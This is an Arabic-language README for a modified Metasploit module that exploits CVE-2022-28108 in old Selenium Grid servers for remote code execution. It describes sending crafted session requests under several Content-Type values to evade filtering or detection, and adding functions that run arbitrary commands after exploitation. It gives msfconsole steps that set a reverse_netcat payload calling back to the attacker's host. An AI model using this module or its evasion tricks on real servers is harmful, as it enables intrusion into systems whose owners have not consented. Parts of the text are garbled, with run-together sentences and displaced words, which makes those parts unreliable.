
وحدة Metasploit تستغل CVE-2022-28108 في Selenium Grid لتنفيذ التعليمات البرمجية عن بُعد، مع مراوغة نوع المحتوى وقدرات ما بعد الاستغلال.
يحتوي هذا المستودع على نسخة معدلة من وحدة Metasploit التي تستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد في الإصدارات القديمة من Selenium Server (Grid).
يرجى قراءة ملف README هذا بعناية قبل استخدام هذا الكود.
الإقرار بالكود الأصلي:
تعتمد هذه الوحدة على العمل الممتاز للمؤلفين الأصليين لوحدة Metasploit الخاصة بـ CVE-2022-28108. تظل الوظيفة الأساسية لاستغلال ثغرة Selenium Server معتمدة إلى حد كبير على تنفيذهم. نحن نقر ونتقدم بالشكر لمساهمتهم في مجتمع الأمن.
'Author'). يرجى الرجوع إلى الوحدة الأصلية للاطلاع على أسمائهم المحددة.الثغرة المستغلة:
تستهدف هذه الوحدة CVE-2022-28108، وهي ثغرة تزوير طلب عبر المواقع (CSRF) في Selenium Server (Grid) في الإصدارات السابقة لـ 4.0.0-alpha-7. تنشأ هذه الثغرة لأن الخادم يسمح بأنواع محتوى غير JSON (مثل text/plain و application/x-www-form-urlencoded و multipart/form-data) لبعض الطلبات. يمكن للمهاجم استغلال ذلك لإرسال طلبات ضارة، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على الخادم.
كيف يعمل الكود الأصلي:
تستغل وحدة Metasploit الأصلية هذه الثغرة عن طريق إرسال طلب POST مُجهز إلى نقطة النهاية /wd/hub/session الخاصة بخادم Selenium الضعيف. يستخدم هذا الطلب نوع محتوى غير JSON (تحديدًا ) ويتضمن تكوينات ضارة داخل من إمكانيات المتصفح المطلوبة. وهذا يسمح للمهاجم بتحديد ملف ثنائي تعسفي (مثل ) ووسائط ليتم تنفيذها على الخادم عند بدء جلسة متصفح جديدة.
text/plaingoog:chromeOptions/usr/bin/python3التعديلات والتحسينات في هذه النسخة:
يحتوي هذا المستودع على نسخة معدلة من وحدة Metasploit الأصلية. تشمل التعديلات الرئيسية ما يلي:
Content-Type مختلفة. يتضمن ذلك text/plain و application/x-www-form-urlencoded و multipart/form-data. يتم ذلك لتجاوز آليات التصفية أو الكشف الأساسية التي قد تبحث عن Content-Type محدد.execute_post_exploitation: تمت إضافة وظيفة جديدة execute_post_exploitation(session_response). يتم استدعاء هذه الوظيفة بعد الاستغلال الناجح وتهدف إلى تنفيذ مهام ما بعد الاستغلال الأساسية. في التنفيذ الحالي، تتضمن:
execute_command_on_target: تمت إضافة وظيفة جديدة أخرى execute_command_on_target(command). تسمح هذه الوظيفة بتنفيذ أوامر تعسفية على النظام المستهدف بعد استغلال ناجح. يتم استخدامها داخل وظيفة execute_post_exploitation ويمكن توسيعها لمزيد من أنشطة ما بعد الاستغلال.أبرز الاختلافات المسلط عليها:
يكمن الاختلاف الأساسي في طريقة exploit وإضافة الوظيفتين الجديدتين.
exploit الأصلية: ركزت على إرسال طلب واحد مع Content-Type: text/plain.exploit المعدلة: تتنقل بين قيم Content-Type المختلفة، محاولة الاستغلال مع كل منها. عند الاستغلال الناجح، تستدعي وظيفة execute_post_exploitation.execute_post_exploitation و execute_command_on_target إضافات جديدة تمامًا لهذه النسخة المعدلة، مما يوفر قدرات موسعة لما بعد الاستغلال.كيفية استخدام الوحدة المعدلة:
.rb (على سبيل المثال، selenium_rce_extended.rb)./usr/share/metasploit-framework/modules/exploits/ أو ~/.msf4/modules/exploits/. راجع تثبيت Metasploit الخاص بك للحصول على الموقع المحدد.msfconsole.use exploit/selenium_rce_extended (أو المسار الذي حفظت فيه الملف إذا وضعته في دليل فرعي).msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
exploit.اعتبارات مهمة (إخلاء مسؤولية):
إخلاء المسؤولية القانونية:
المؤلف (المؤلفون) لهذا الكود المعدل غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن استخدام هذه الوحدة. باستخدام هذا الكود، فإنك توافق على تحمل المسؤولية الكاملة عن أفعالك.
الترخيص:
من المحتمل أن يكون هذا الكود المعدل مشمولاً بنفس ترخيص إطار عمل Metasploit الأصلي (عادةً ترخيص MSF). يرجى الرجوع إلى ترخيص إطار عمل Metasploit الأصلي للحصول على التفاصيل.
المساهمة:
نرحب بالمساهمات والتحسينات على هذه الوحدة. لا تتردد في تقديم طلبات سحب (Pull Requests) مع إصلاحات للأخطاء أو تحسينات أو ميزات جديدة.
الإقرارات:
نكرر شكرنا للمؤلفين الأصليين لوحدة Metasploit الخاصة بـ CVE-2022-28108. عملهم هو أساس هذه الوحدة المعدلة.